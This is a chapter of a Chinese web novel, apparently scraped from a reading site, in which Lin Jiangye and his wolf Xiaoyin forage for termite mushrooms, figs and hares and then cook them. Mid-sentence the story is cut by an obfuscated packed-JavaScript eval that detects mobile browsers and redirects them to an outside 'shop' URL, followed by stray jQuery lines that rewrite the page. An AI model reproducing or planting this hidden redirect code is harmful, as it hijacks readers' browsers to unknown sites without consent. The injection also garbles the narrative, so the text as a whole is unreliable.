夏末,太阳的威力依旧不容小觑,晒得人睁不开眼,但林江野对这样的天气非常满意。
这段时间他忙着进山囤食物,去老地方摘了牛肝菌切片晾晒,现在院子里竹筛中整齐码放的牛肝菌片,经过日晒边缘已经微微卷翘,估摸着再晒一轮就可以收起来。
菌菇干晾好了,肉也需要再囤一些,到时候给陆清淮带去,也许能帮他们多换一些物资,想到这里,林江野决定今天在进山看看能不能有些新收获。
背上背篓,拿上绳子、小刀,林江野冲着廊下道:“小银,我们走。”
正趴着小憩的小银,听到动静,瞬间弹起,喉咙里发出短促兴奋的呜呜声,一马当先冲进了林子。
午后的林子倒是比外面凉爽不少,繁茂的枝叶将炙热的阳光隔离在外,只剩下点点细碎光斑。
林江野边走边观察,最后选了一处相对隐蔽的兽径,从背篓里取出绳套和几根削好的竹签,做了三处绳套,设好陷阱,用枯叶盖住绳圈,又在附近撒了几颗野果做诱饵,做完这些,才继续往前走。
没走多远,一开始还老实跟在脚边的小银开始变的不耐烦,鼻尖四处嗅闻,一会儿刨刨树根,一会儿又抓咬垂落的枝叶,后面大概是实在觉得无趣,干脆三两下跑远消失在林子里。
自由的灵魂自当奔腾于山野,林江野从不拘束小银,也习惯了它的神出鬼没,因此毫不担心,继续慢悠悠穿梭在林间找寻自己的目标。
不知不觉走到一处向阳矮坡,蓦然,几簇灰褐色的菌盖映入眼中。
林江野蹲下身,手指轻轻拨开菌边的松针,确定没有看错,这就是自己找了很久的鸡纵菌,本来以为今年吃不上了,没想到今天意外的大丰收。
他小心地将手指顺着菌柄探入土层,轻轻挖出,只要不破坏蚁窝,这里明年就还会继续出菌。一朵,两朵,三朵……这片菌窝不算大,但足够密,等将所有鸡纵菌都挖出放进背篓,林江野满足的起身,准备往更深处看看。
忽然远处传来一声熟悉的叫唤,声音短促、上扬、带着掩饰不住的兴奋,每次小银发现了好东西,自己叼不走,就会这样叫他。
循声走去,拨开一片矮灌木,小银蹲坐在后面,正低头舔爪子,听到脚步声抬头望向林江野,两只被咬断喉咙的肥硕灰毛野兔被整齐堆在它的身旁。
林江野顿住脚步,看了看兔子,又看了看小银,小银蹲睁着大大的眼睛,坐得端正,脑袋微微扬起,浑身都写满了“我牛吧”。
“不愧是我们的捕猎小能手。”林江野笑眯眯地抬手揉了揉小银脑袋,语气像极了看到自家孩子带回满分试卷的骄傲家长。
说着拎起野兔掂了掂分量,一只估摸最少也有八九斤,最肥的可能得有十来斤,野外很难捉到这么大的兔子,也不知道小银怎么发现的,真的是不错的收获。
林江野提着兔子正要离开,目光无意间往脚边一扫,被不远处地上散落的几颗青紫色果实吸引了视线。
果子皮薄如蝉翼,顶端裂开细小的缝,有些因为从高处掉落已经烂了外皮,渗出蜜糖似的汁液,引来细小的飞虫。顺着落果的方向看去,一棵虬结的老树从巨岩背后探出半边枝冠,枝叶间坠满的果子,不就是自己一直想找的无花果吗。
林江野再次看向小银,小银不明所以的歪着脑袋回望,不理解两脚兽为什么突然盯着自己看。
“……小银,要是在现代,建议你可以去买张彩票,你今天真的是让我惊喜连连。”
小银听不懂话,但能听懂语气中的情绪,知道林江野是在夸自己,开心的往前蹭了半步,把脑袋拱进他的怀里“呜呜”撒娇。
林江野感觉自己一颗慈爱的老父亲心都要化了,拍拍它的脑袋“好啦乖,回家给你奖励。”
表扬完小银,林江野放下背篼开始摘果,熟透的要先摘,回去可以煮粥,还可以切成片晒果干,这种七八分熟的摘回去先放着,等过几天给陆清淮带去时差不多应该就熟透了。
丰收令人愉悦,哪怕背篓的重量逐渐增加,但他却一点也不觉得累,直到最后怕无花果太多压坏下面的鸡纵菌,才停下。
得到了最想要的两样东西,林江野决定今天的行动到此为止,招呼小银原路返回。
下山前,先去了一趟之前埋好陷阱的地方,想看看有没有更多的收获,也许是今天的好运已经用完,陷阱附近虽然有小动物来过的痕迹,但诱饵被叼走,绳套却都空空如也。
林江野也没有太失望,托小银的福,今天已经有了不错的收获,还是赶紧回家干活。
一人一狼满载而归,回到小院时太阳依旧炙热,林江野将收获的食材分类放在廊下,两只野兔,一只最肥的留出来,那是小银的奖励,今晚给它做手撕兔,剩下一只处理干净,放进保鲜箱冻上,等过几天和菌子、无花果一起给陆清淮送去。
不过这些都不着急,现在首要是先把鸡纵菌处理掉。
看到鸡纵菌第一时间他就想到前世吃过的鸡纵油,那味道鲜香浓郁,煮面、拌饭舀一勺,香到让人直跺脚。
越想越馋,林江野不再耽搁,把摘回来的鸡纵菌都拿出来,轻轻用小刀刮掉泥土,打水反复清洗,洗净的菌子再顺着纹理撕成细条,菌帽和菌杆分开放好备用。
炸鸡纵菌最好是用植物油,幸好之前陆清淮给的油自己平时舍不得用,还剩不少,今天算是派上大用场了。
锅中油烧热,先倒入菌冒,用小火慢慢煸炒榨干水分,等表面微微焦黄后捞出,接着倒入菌杆重复步骤煸炒,随着菌子下锅的刺啦声,浓郁的菌香立刻在厨房中蒸腾开来,小银原本趴在院子里晒太阳,味道香味立刻颠颠儿地跑到灶台边蹲下。
林江野没理它,专注盯着锅里,慢慢煸着菌条,菌子的鲜混着油香越来越浓烈,小银也逐渐焦急,又悄悄往前挪了半寸,鼻尖几乎要凑到锅沿,被林江野用锅铲轻轻挡开。
“别着急,小心被油崩脑袋。”
被挡回来的小银
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338510|199282||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不甘心地坐下,尾巴在地面扫来扫去,眼睛一眨不眨地盯着锅里。
终于锅里的菌子水分被全部逼出,菌杆和菌冒都泛起金黄,浮在澄澈的油面上,林江野夹起一根炸得焦脆的菌条,吹了吹,递到小银嘴边
“来吧,尝尝看。”
小银小心翼翼地叼走,含在嘴里愣了半秒,才开始嚼,它嚼得很慢,边嚼眼睛还边盯着锅里。
看着小银的反应,林江野忍不住笑“你倒是会吃”说着又捞出几根放到小银面前。
喂完小银,他才往锅里倒入干辣椒、蒜片、食盐这些调味搅拌均匀,熄了火等油温稍降,连菌带油一同倒进洗净晾干的罐子里放到阴凉处。
鸡纵油做好,接着就是处理无花果,紫红色的果子在水里起起伏伏,浸了水之后颜色更深了些,像泡开的紫玛瑙。
洗好的果子被捞起对半切开,摊在竹筛里端到檐下晒着,晒上三四天,晒成干了,等秋冬炖汤时放几颗,那味道叫一个清甜香鲜。
处理完两样难得的食材,林江野终于开始准备自己和小银晚餐。
泡好的米倒进陶锅,加水放在灶上小火煨着,切几块熟软的无花果备用,然后挑一只最肥的野兔,剥皮洗净,锅里放两片姜、野葱段去腥,整只下锅煮,等最厚的后腿肉能被筷子插透,捞出放入冷水中浸泡,这样处理的肉会更加q弹紧实。
接着将葱花、姜末、蒜末、花椒放入碗中淋上热油,最后倒入酱油搅拌均匀淋在兔肉上,霎时肉香浸着料汁的香气弥漫开来。
小银早就迫不及待的守在一旁,林江野撕下最肥厚的那块后腿肉,吹了吹,放在它的专用饭盆里,小银一口咬住两三下吞下肚,接着又眼巴巴看着林江野。
“你慢点吃,我都快赶不上了。”林江野无奈道。
整只兔子被拆分撕成条堆进盆里,小银吃得头也不抬,喉咙里发出一串满足的咕噜。
趁它吃的不亦乐乎,林江野看了看旁边锅里的粥,米粒开花,汤色泛着乳白,已经煮好了,把无花果块倒进去,搅了搅,继续小火煨着。
转身去菜地挑了两根黄瓜摘下,洗干净的黄瓜在案板上用刀面狠拍几下,接着切成不规则小段,盛入盘中,蒜拍碎,野葱切末,辣椒切成细圈,盐、醋、一小撮白糖,用筷子拌匀,让每块黄瓜都裹上料汁,光是轻轻一闻,就让人胃口大开。
盛好粥和黄瓜一起端到院中木桌上,林江野先喝了口粥,米粒已经熬得开花,软软糯糯,米香混着无花果的清甜,二者组合恰到好处,再吃一口拍黄瓜,入口清香脆嫩,轻轻一咬满嘴酸、辣、香,味道层次丰富,令人食欲大开。
小银不知什么时候蹭了过来,林江野夹起一筷子拍黄瓜,在它鼻子跟前晃了晃 “这个你可吃不了。”
它嗅了嗅,被那股酸辣味激得皱起鼻子,打了个小喷嚏,脑袋一扭,用行动表达自己的嫌弃。
林江野唇角动了动,又夹起一筷子黄瓜送进嘴里“咔擦咔擦”吃起来。